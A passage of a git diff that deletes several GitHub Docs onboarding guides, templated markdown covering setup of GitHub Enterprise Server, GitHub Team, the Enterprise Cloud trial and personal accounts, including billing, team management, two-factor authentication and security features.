- -{% data reusables.docs.ghec-docs %} - -{% data reusables.enterprise.best-practices %} - -### 2. Learning with {% data variables.product.prodname_learning %} - -Enterprise members can learn new skills by completing fun, realistic projects in your very own GitHub repository with [{% data variables.product.prodname_learning %}](https://skills.github.com/). Each course is a hands-on lesson created by the GitHub community and taught by a friendly bot. - -For more information, see [AUTOTITLE](/get-started/start-your-journey/git-and-github-learning-resources). - -### 3. Supporting the open source community - -{% data reusables.getting-started.sponsors %} - -### 4. Contacting {% data variables.contact.github_support %} - -{% data reusables.getting-started.contact-support %} - -{% data variables.product.prodname_ghe_cloud %} allows you to submit priority support requests with a target eight-hour response time. For more information, see [AUTOTITLE](/support/learning-about-github-support/about-github-support). - -## Further reading - -* [AUTOTITLE](/enterprise-cloud@latest/admin/overview/feature-overview-for-github-enterprise-cloud) diff --git a/content/get-started/onboarding/getting-started-with-github-enterprise-server.md b/content/get-started/onboarding/getting-started-with-github-enterprise-server.md deleted file mode 100644 index b40db74030cd..000000000000 --- a/content/get-started/onboarding/getting-started-with-github-enterprise-server.md +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: Getting started with GitHub Enterprise Server -intro: 'Get started with setting up and managing {% data variables.location.product_location %}.' -versions: - ghes: '*' ---- - -This guide will walk you through setting up, configuring and managing {% data variables.location.product_location %} as an enterprise administrator. - -{% data variables.product.github %} provides two ways to deploy {% data variables.product.prodname_enterprise %}. - -* **{% data variables.product.prodname_ghe_cloud %}** -* **{% data variables.product.prodname_ghe_server %}** - -{% data variables.product.company_short %} hosts {% data variables.product.prodname_ghe_cloud %}. You can deploy and host {% data variables.product.prodname_ghe_server %} in your own datacenter or a supported cloud provider. - -For more information about {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/overview/about-github-enterprise-server). - -## Part 1: Installing {% data variables.product.prodname_ghe_server %} - -To get started, you will need to create your enterprise account, install the instance, use the {% data variables.enterprise.management_console %} for initial setup, configure your instance, and manage billing. - -### 1. Creating your enterprise account - -Before you install {% data variables.product.prodname_ghe_server %}, you can create an enterprise account on {% data variables.product.prodname_dotcom_the_website %} by contacting [{% data variables.product.github %}'s Sales team](https://enterprise.github.com/contact). An enterprise account on {% data variables.product.prodname_dotcom_the_website %} is useful for billing and for shared features with {% data variables.product.prodname_dotcom_the_website %} via {% data variables.product.prodname_github_connect %}. For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/about-enterprise-accounts). - -### 2. Installing {% data variables.product.prodname_ghe_server %} - -To get started, you will need to install the appliance on a virtualization platform of your choice. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance). - -### 3. Using the {% data variables.enterprise.management_console %} - -You will use the {% data variables.enterprise.management_console %} to walk through the initial setup process when first launching {% data variables.location.product_location %}. You can also use the {% data variables.enterprise.management_console %} to manage instance settings such as the license, domain, authentication, and TLS. For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-web-ui). - -### 4. Configuring {% data variables.location.product_location %} - -In addition to the {% data variables.enterprise.management_console %}, you can use the site admin dashboard and the administrative shell (SSH) to manage {% data variables.location.product_location %}. For example, you can configure applications and rate limits, view reports, use command-line utilities. For more information, see [AUTOTITLE](/admin/configuration). - -You can use the default network settings used by {% data variables.product.prodname_ghe_server %} via the dynamic host configuration protocol (DHCP), or you can also configure the network settings using the virtual machine console. You can also configure a proxy server or firewall rules. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings). - -### 5. Configuring high availability - -You can configure {% data variables.location.product_location %} for high availability to minimize the impact of hardware failures and network outages. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/configuring-high-availability). - -### 6. Setting up a staging instance - -You can set up a staging instance to test modifications, plan for disaster recovery, and try out updates before applying them to {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance). - -### 7. Designating backups and disaster recovery - -To protect your production data, you can configure automated backups of {% data variables.location.product_location %} with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see [AUTOTITLE](/admin/backing-up-and-restoring-your-instance/configuring-backups-on-your-instance). - -### 8. Managing billing for your enterprise - -Billing for all the organizations and {% data variables.product.prodname_ghe_server %} instances connected to your enterprise account is aggregated into a single bill charge for all of your paid {% data variables.product.prodname_dotcom_the_website %} services. Enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-for-your-enterprise). - -## Part 2: Organizing and managing your team - -As an enterprise owner or administrator, you can manage settings on user, repository, team and organization levels. You can manage members of your enterprise, create and manage organizations, set policies for repository management, and create and manage teams. - -### 1. Managing members of {% data variables.location.product_location %} - -{% data reusables.getting-started.managing-enterprise-members %} - -### 2. Creating organizations - -{% data reusables.getting-started.creating-organizations %} - -### 3. Adding members to organizations - -{% data reusables.getting-started.adding-members-to-organizations %} - -### 4. Creating teams - -{% data reusables.getting-started.creating-teams %} - -### 5. Setting organization and repository permission levels - -{% data reusables.getting-started.setting-org-and-repo-permissions %} - -### 6. Enforcing repository management policies - -{% data reusables.getting-started.enforcing-repo-management-policies %} - -{% ifversion enterprise-readme %} - -### 7. Creating a README for the enterprise - -{% data reusables.enterprise.about-readmes %} For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise). - -{% endif %} - -## Part 3: Building securely - -To increase the security of {% data variables.location.product_location %}, you can configure authentication for enterprise members, use tools and audit logging to stay in compliance, configure security and analysis features for your organizations, and optionally enable {% data variables.product.prodname_GHAS %} features. - -### 1. Authenticating enterprise members - -You can use {% data variables.product.prodname_ghe_server %}'s built-in authentication method, or you can choose between an external authentication provider, such as CAS, LDAP, or SAML, to integrate your existing accounts and centrally manage user access to {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-identity-and-access-management). - -You can also require two-factor authentication for each of your organizations. For more information, see [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization). - -### 2. Staying in compliance - -You can implement required status checks and commit verifications to enforce your organization's compliance standards and automate compliance workflows. You can also use the audit log for your organization to review actions performed by your team. For more information, see [AUTOTITLE](/admin/policies/enforcing-policy-with-pre-receive-hooks) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise). - -### 3. Configuring security features for your organizations - -{% data reusables.getting-started.configuring-security-features %} - -### 4. Enabling {% data variables.product.prodname_GHAS %} features - -You can upgrade your {% data variables.product.prodname_ghe_server %} license to include {% ifversion ghas-products %}{% data variables.product.prodname_GH_code_security %} or {% data variables.product.prodname_GH_secret_protection %}{% else %}{% data variables.product.prodname_GHAS %}{% endif %}. Upgrading will provide extra features that help users find and fix security problems in their code, such as code and secret scanning. For more information, see [AUTOTITLE](/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise). - -## Part 4: Customizing and automating your enterprise's work on {% data variables.product.github %} - -You can customize and automate work in organizations in your enterprise with {% data variables.product.github %} and {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_ghe_server %} API, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} , and {% data variables.product.prodname_pages %}. - -### 1. Building {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} - -You can build integrations with the {% data variables.product.prodname_ghe_server %} API, such as {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, for use in organizations in your enterprise to complement and extend your workflows. For more information, see [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps). - -### 2. Using the {% data variables.product.prodname_ghe_server %} API - -{% data reusables.getting-started.api %} - -### 3. Building {% data variables.product.prodname_actions %} - -{% data reusables.getting-started.actions %} - -For more information on enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). - -### 4. Publishing and managing {% data variables.product.prodname_registry %} - -{% data reusables.getting-started.packages %} - -For more information on enabling and configuring {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, see [AUTOTITLE](/admin/packages/getting-started-with-github-packages-for-your-enterprise). - -### 5. Using {% data variables.product.prodname_pages %} - -{% data reusables.getting-started.github-pages-enterprise %} - -## Part 5: Connecting with other {% data variables.product.github %} resources - -You can use {% data variables.product.prodname_github_connect %} to share resources. - -If you are the owner of both a {% data variables.product.prodname_ghe_server %} instance and a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account, you can enable {% data variables.product.prodname_github_connect %}. {% data variables.product.prodname_github_connect %} allows you to share specific workflows and features between {% data variables.location.product_location %} and {% data variables.product.prodname_ghe_cloud %}, such as unified search and contributions. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/managing-github-connect). - -## Part 6: Using {% data variables.product.github %}'s learning and support resources - -Your enterprise members can learn more about Git and {% data variables.product.github %} with our learning resources, and you can get the support you need when setting up and managing {% data variables.location.product_location %} with {% data variables.product.github %} Enterprise Support. - -### 1. Reading about {% data variables.product.prodname_ghe_server %} on {% data variables.product.prodname_docs %} - -You can read documentation that reflects the features available with {% data variables.product.prodname_ghe_server %}. For more information, see [AUTOTITLE](/get-started/using-github-docs/about-versions-of-github-docs). - -{% data reusables.enterprise.best-practices %} - -### 2. Learning with {% data variables.product.prodname_learning %} - -{% data reusables.getting-started.learning-enterprise %} - -### 3. Working with {% data variables.product.github %} Enterprise Support - -{% data reusables.getting-started.contact-support-enterprise %} diff --git a/content/get-started/onboarding/getting-started-with-github-team.md b/content/get-started/onboarding/getting-started-with-github-team.md deleted file mode 100644 index fe407b51b9b2..000000000000 --- a/content/get-started/onboarding/getting-started-with-github-team.md +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Getting started with GitHub Team -intro: 'With {% data variables.product.prodname_team %} groups of people can collaborate across many projects at the same time in an organization account.' -versions: - fpt: '*' ---- - -This guide will walk you through setting up, configuring and managing your {% data variables.product.prodname_team %} account as an organization owner. - -## Part 1: Configuring your account on {% data variables.location.product_location %} - -As the first steps in starting with {% data variables.product.prodname_team %}, you will need to create a personal account or log into your existing account on {% data variables.product.prodname_dotcom %}, create an organization, and set up billing. - -### 1. About organizations - -Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features. For more information on the features of organizations, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations#terms-of-service-and-data-protection-for-organizations). - -### 2. Creating an organization and signing up for {% data variables.product.prodname_team %} - -Before creating an organization, you will need to create a personal account or log in to your existing account on {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github). - -Once your personal account is set up, you can create an organization and pick a plan. This is where you can choose a {% data variables.product.prodname_team %} subscription for your organization. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). - -### 3. Managing billing for an organization - -You must manage billing settings, payment method, and paid features and products for each of your personal accounts and organizations separately. You can switch between settings for your different accounts using the context switcher in your settings. For more information, see [AUTOTITLE](/billing/managing-your-github-billing-settings/about-billing-on-github#switching-between-settings-for-your-different-accounts). - -Your organization's billing settings page allows you to manage settings like your payment method, billing cycle and billing email, or view information such as your subscription, billing date and payment history. You can also view and upgrade your storage and GitHub Actions minutes. For more information on managing your billing settings, see [AUTOTITLE](/billing/managing-your-github-billing-settings). - -Only organization members with the _owner_ or _billing manager_ role can access or change billing settings for your organization. A billing manager is someone who manages the billing settings for your organization and does not use a paid license in your organization's subscription. For more information on adding a billing manager to your organization, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization). - -## Part 2: Adding members and setting up teams - -After creating your organization, you can invite members and set permissions and roles. You can also create different levels of teams and set customized levels of permissions for your organization's repositories, projects, and apps. - -### 1. Managing members of your organization - -{% data reusables.getting-started.managing-org-members %} - -### 2. Organization permissions and roles - -{% data reusables.getting-started.org-permissions-and-roles %} - -### 3. About and creating teams - -{% data reusables.getting-started.about-and-creating-teams %} - -### 4. Managing team settings - -{% data reusables.getting-started.managing-team-settings %} - -### 5. Giving people and teams access to repositories, projects, and apps - -{% data reusables.getting-started.giving-access-to-repositories-projects-apps %} - -## Part 3: Managing security for your organization - -You can help to make your organization more secure by recommending or requiring two-factor authentication for your organization members, configuring security features, and reviewing your organization's audit log and integrations. - -### 1. Requiring two-factor authentication - -{% data reusables.getting-started.requiring-2fa %} - -### 2. Configuring security features for your organization - -{% data reusables.getting-started.configuring-security-features %} - -### 3. Reviewing your organization's audit log and integrations - -{% data reusables.getting-started.reviewing-org-audit-log-and-integrations %} - -## Part 4: Setting organization level policies - -### 1. Managing organization policies - -{% data reusables.getting-started.managing-org-policies %} - -### 2. Managing repository changes - -{% data reusables.getting-started.managing-repo-changes %} - -### 3. Using organization-level community health files and moderation tools - -{% data reusables.getting-started.using-org-community-files-and-moderation-tools %} - -## Part 5: Customizing and automating your work - -{% data reusables.getting-started.customizing-and-automating %} - -### 1. Using {% data variables.product.prodname_marketplace %} - -{% data reusables.getting-started.marketplace %} - -### 2. Using the {% data variables.product.github %} API - -{% data reusables.getting-started.api %} - -### 3. Building {% data variables.product.prodname_actions %} - -{% data reusables.getting-started.actions %} - -### 4. Publishing and managing {% data variables.product.prodname_registry %} - -{% data reusables.getting-started.packages %} - -## Part 6: Participating in {% data variables.product.github %}'s community - -{% data reusables.getting-started.participating-in-community %} - -### 1. Contributing to open source projects - -{% data reusables.getting-started.open-source-projects %} - -### 2. Interacting with the {% data variables.product.prodname_gcf %} - -{% data reusables.support.ask-and-answer-forum %} - -### 3. Reading about {% data variables.product.prodname_team %} on {% data variables.product.prodname_docs %} - -You can read documentation that reflects the features available with {% data variables.product.prodname_team %}. For more information, see [AUTOTITLE](/get-started/using-github-docs/about-versions-of-github-docs). - -### 4. Learning with {% data variables.product.prodname_learning %} - -{% data reusables.getting-started.learning %} - -### 5. Supporting the open source community - -{% data reusables.getting-started.sponsors %} - -### 6. Contacting {% data variables.contact.github_support %} - -{% data reusables.getting-started.contact-support %} - -## Further reading - -* [AUTOTITLE](/get-started/onboarding/getting-started-with-your-github-account) diff --git a/content/get-started/onboarding/getting-started-with-the-github-enterprise-cloud-trial.md b/content/get-started/onboarding/getting-started-with-the-github-enterprise-cloud-trial.md deleted file mode 100644 index 0d01f13d1767..000000000000 --- a/content/get-started/onboarding/getting-started-with-the-github-enterprise-cloud-trial.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Getting started with the GitHub Enterprise Cloud trial -intro: 'Set up the products available in your {% data variables.product.prodname_ghe_cloud %} trial.' -versions: - fpt: '*' - ghec: '*' ---- - -This guide will walk you through setting up the products in your {% data variables.product.prodname_ghe_cloud %} trial, and provide you with the resources you need to get the most out of the trial. - -## Part 1: Setting up your trial - -### 1. Learn about the {% data variables.product.prodname_ghe_cloud %} trial - -For full details of what is included in the trial, and what happens during, and after the trial, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). - -### 2. Sign up for the trial - -Go to the trial sign up page and follow the instructions on screen to sign up for the trial. - -Try {% data variables.product.prodname_ghe_cloud %} {% octicon "link-external" height:16 %} - -## Part 2: Setting up {% data variables.product.prodname_ghe_cloud %} - -You can find full instructions on setting up {% data variables.product.prodname_ghe_cloud %} in the [AUTOTITLE](/enterprise-cloud@latest/get-started/onboarding/getting-started-with-github-enterprise-cloud) guide. - -## Part 3: Setting up {% data variables.product.prodname_GHAS %} - -You can find information about planning a trial of {% data variables.product.prodname_GHAS %} and exploring the additional options available with {% data variables.product.prodname_ghe_cloud %} in the [AUTOTITLE](/code-security/trialing-github-advanced-security) articles. - -## Part 4: Setting up {% data variables.product.prodname_copilot_for_business %} - -Setting up your {% data variables.product.prodname_copilot_for_business %} trial involves three phases, and each phase must be completed by different people. - -### 1. Configuring {% data variables.product.prodname_copilot_for_business %} for your enterprise - -As an **enterprise owner**, you must first configure {% data variables.product.prodname_copilot_for_business %} for your enterprise. This phase involves setting policies for the use of {% data variables.product.prodname_copilot_for_business %} in your enterprise, and deciding which organizations in your enterprise can use {% data variables.product.prodname_copilot_for_business %}. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise). - -### 2. Enabling {% data variables.product.prodname_copilot_for_business %} for your organization - -Next, **organization owners** can enable {% data variables.product.prodname_copilot_for_business %} for their organizations. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization). - -### 3. Enabling {% data variables.product.prodname_copilot_for_business %} for individual users - -If your **personal account** has been granted a seat in an organization that has enabled {% data variables.product.prodname_copilot_for_business %}, you can now enable {% data variables.product.prodname_copilot_for_business %} for your personal account. For detailed instructions, see [AUTOTITLE](/enterprise-cloud@latest/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself). diff --git a/content/get-started/onboarding/getting-started-with-your-github-account.md b/content/get-started/onboarding/getting-started-with-your-github-account.md deleted file mode 100644 index 731689c4fe8f..000000000000 --- a/content/get-started/onboarding/getting-started-with-your-github-account.md +++ /dev/null @@ -1,238 +0,0 @@ ---- -title: Getting started with your GitHub account -intro: 'With a personal account on {% data variables.product.github %}, you can import or create repositories, collaborate with others, and connect with the {% data variables.product.github %} community.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -This guide will walk you through setting up your {% data variables.product.company_short %} account and getting started with {% data variables.product.github %}'s features for collaboration and community. - -## Part 1: Configuring your {% data variables.product.github %} account - -{% ifversion fpt or ghec %} -The first steps in starting with {% data variables.product.github %} are to create an account, choose a product that fits your needs best, verify your email, set up two-factor authentication, and view your profile. -{% elsif ghes %} -The first steps in starting with {% data variables.product.github %} are to access your account, set up two-factor authentication, and view your profile. -{% endif %} - -{% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.github %}. {% endif %} Every person who uses {% data variables.product.github %} has their own personal account, which can be part of multiple organizations and teams. Your personal account is your identity on {% data variables.location.product_location %} and represents you as an individual. - -{% ifversion fpt or ghec %} - -### 1. Creating an account - -To sign up for an account, navigate to https://github.com/ and follow the prompts. - -To keep your {% data variables.product.github %} account secure you should use a strong and unique password. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-strong-password). - -### 2. Choosing your {% data variables.product.github %} product - -You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want. - -For more information on all of {% data variables.product.github %}'s plans, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans). - -### 3. Verifying your email address - -To ensure you can use all the features in your {% data variables.product.github %} plan, verify your email address after signing up for a new account. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address). -{% endif %} - -{% ifversion ghes %} - -### 1. Accessing your account - -{% endif %} - -{% ifversion ghes %} -The administrator of your {% data variables.product.prodname_ghe_server %} instance will notify you about how to authenticate and access your account. The process varies depending on the authentication mode they have configured for the instance. -{% endif %} - -### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication - -Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication). - -{% ifversion passkeys %}Optionally, after you have configured 2FA, add a passkey to your account to enable a secure, passwordless login. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/managing-your-passkeys).{% endif %} - -### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.github %} profile and contribution graph - -Your {% data variables.product.github %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile) and [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile). - -## Part 2: Using {% data variables.product.github %}'s tools and processes - -To best use {% data variables.product.github %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.github %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.github %}, you'll write in issues and pull requests using {% data variables.product.github %} Flavored Markdown. - -### 1. Learning Git - -{% data variables.product.github %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.github %} for other people to view, fetch, and update using Git. For more information about Git, see the [Git Handbook](https://guides.github.com/introduction/git-handbook/) guide. For more information about how Git is used on {% data variables.product.github %}, see [AUTOTITLE](/get-started/using-github/github-flow). - -### 2. Setting up Git - -If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see [AUTOTITLE](/get-started/git-basics/set-up-git). - -If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see [AUTOTITLE](/desktop/overview/getting-started-with-github-desktop). - -Once you install Git, you can connect to {% data variables.product.github %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% data variables.location.product_location %} from Git, you'll need to authenticate with {% data variables.product.github %} using either HTTPS or SSH. For more information, see [AUTOTITLE](/get-started/git-basics/about-remote-repositories). - -### 3. Choosing how to interact with {% data variables.product.github %} - -Everyone has their own unique workflow for interacting with {% data variables.product.github %}; the interfaces and methods you use depend on your preference and what works best for your needs. - -For more information about the different approaches for interacting with {% data variables.product.github %}, and a comparison of the tools you can use, see [AUTOTITLE](/get-started/using-github/connecting-to-github). - -### 4. Writing on {% data variables.product.github %} - -To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.github %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github). - -You can learn {% data variables.product.github %} Flavored Markdown with the [Communicate using Markdown](https://github.com/skills/communicate-using-markdown) course on {% data variables.product.prodname_learning %}. - -### 5. Searching on {% data variables.product.github %} - -Our integrated search allows you to find what you are looking for among the many repositories, users and lines of code on {% data variables.product.github %}. You can search globally across all of {% data variables.product.github %} or limit your search to a particular repository or organization. For more information about the types of searches you can do on {% data variables.product.github %}, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). - -Our search syntax allows you to construct queries using qualifiers to specify what you want to search for. For more information on the search syntax to use in search, see [AUTOTITLE](/search-github/searching-on-github). - -### 6. Managing files on {% data variables.product.github %} - -With {% data variables.product.github %}, you can create, edit, move and delete files in your repository or any repository you have write access to. You can also track the history of changes in a file line by line. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files). - -## Part 3: Collaborating on {% data variables.product.github %} - -Any number of people can work together in repositories across {% data variables.product.github %}. You can configure settings, create projects, and manage your notifications to encourage effective collaboration. - -### 1. Working with repositories - -#### Creating a repository - -A repository is like a folder for your project. You can have any number of public and private repositories in your personal account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories). - -When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). - -#### Cloning a repository - -You can clone an existing repository from {% data variables.product.github %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). - -#### Forking a repository - -A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks). - -### 2. Importing your projects - -If you have existing projects you'd like to move over to {% data variables.product.github %} you can import projects using the {% data variables.product.prodname_importer %}, the command line, or external migration tools. For more information, see [AUTOTITLE](/migrations/importing-source-code). - -### 3. Managing collaborators and permissions - -You can collaborate on your project with others using your repository's issues, pull requests, and {% data variables.projects.projects_v2 %}. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository). - -You are the owner of any repository you create in your personal account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository). - -### 4. Managing repository settings - -As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features). - -### 5. Setting up your project for healthy contributions - -{% ifversion fpt or ghec %} -To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see [Building Welcoming Communities](https://opensource.guide/building-community/) in the Open Source Guides. - -By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions). -{% endif %} -{% ifversion ghes %} -By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions). -{% endif %} - -### 6. Using {% data variables.product.prodname_github_issues %} and {% data variables.product.prodname_projects_v2 %} - -You can use {% data variables.product.prodname_github_issues %} to organize your work with issues and pull requests and manage your workflow with {% data variables.product.prodname_projects_v2 %}. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). - -### 7. Managing notifications - -Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). - -### 8. Working with {% data variables.product.prodname_pages %} - -You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages). - -### 9. Using {% data variables.product.prodname_discussions %} - -You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). - -## Part 4: Customizing and automating your work on {% data variables.product.github %} - -{% data reusables.getting-started.customizing-and-automating %} - -{% ifversion fpt or ghec %} - -### 1. Using {% data variables.product.prodname_marketplace %} - -{% data reusables.getting-started.marketplace %} -{% endif %} - -### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Using the {% data variables.product.github %} API - -{% data reusables.getting-started.api %} - -### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %} - -{% data reusables.getting-started.actions %} - -### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} - -{% data reusables.getting-started.packages %} - -## Part 5: Building securely on {% data variables.product.github %} - -{% data variables.product.github %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% ifversion ghas-products %}{% data variables.product.prodname_GH_code_security %} or {% data variables.product.prodname_GH_secret_protection %}{% else %}{% data variables.product.prodname_GHAS %}{% endif %} license. For an overview of security features, see [AUTOTITLE](/code-security/getting-started/github-security-features). - -### 1. Securing your repository - -As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations {% ifversion ghas-products %}with licenses for the features{% else %}where {% data variables.product.prodname_GHAS %} is enabled{% endif %}, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. - -For more information on steps you can take to secure your repositories, see [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-repository). - -{% ifversion fpt or ghec %} - -### 2. Managing your dependencies - -A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.github %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. - -For more information, see [AUTOTITLE](/code-security/supply-chain-security). -{% endif %} - -## Part 6: Participating in {% data variables.product.github %}'s community - -{% data reusables.getting-started.participating-in-community %} - -### 1. Contributing to open source projects - -{% data reusables.getting-started.open-source-projects %} - -### 2. Interacting with {% data variables.product.prodname_gcf %} - -{% data reusables.support.ask-and-answer-forum %} - -### 3. Reading about {% data variables.product.github %} on {% data variables.product.prodname_docs %} - -{% data reusables.docs.you-can-read-docs-for-your-product %} - -### 4. Learning with {% data variables.product.prodname_learning %} - -{% data reusables.getting-started.learning %} - -{% ifversion fpt or ghec %} - -### 5. Supporting the open source community - -{% data reusables.getting-started.sponsors %} - -### 6. Contacting {% data variables.contact.github_support %} - -{% data reusables.getting-started.contact-support %} 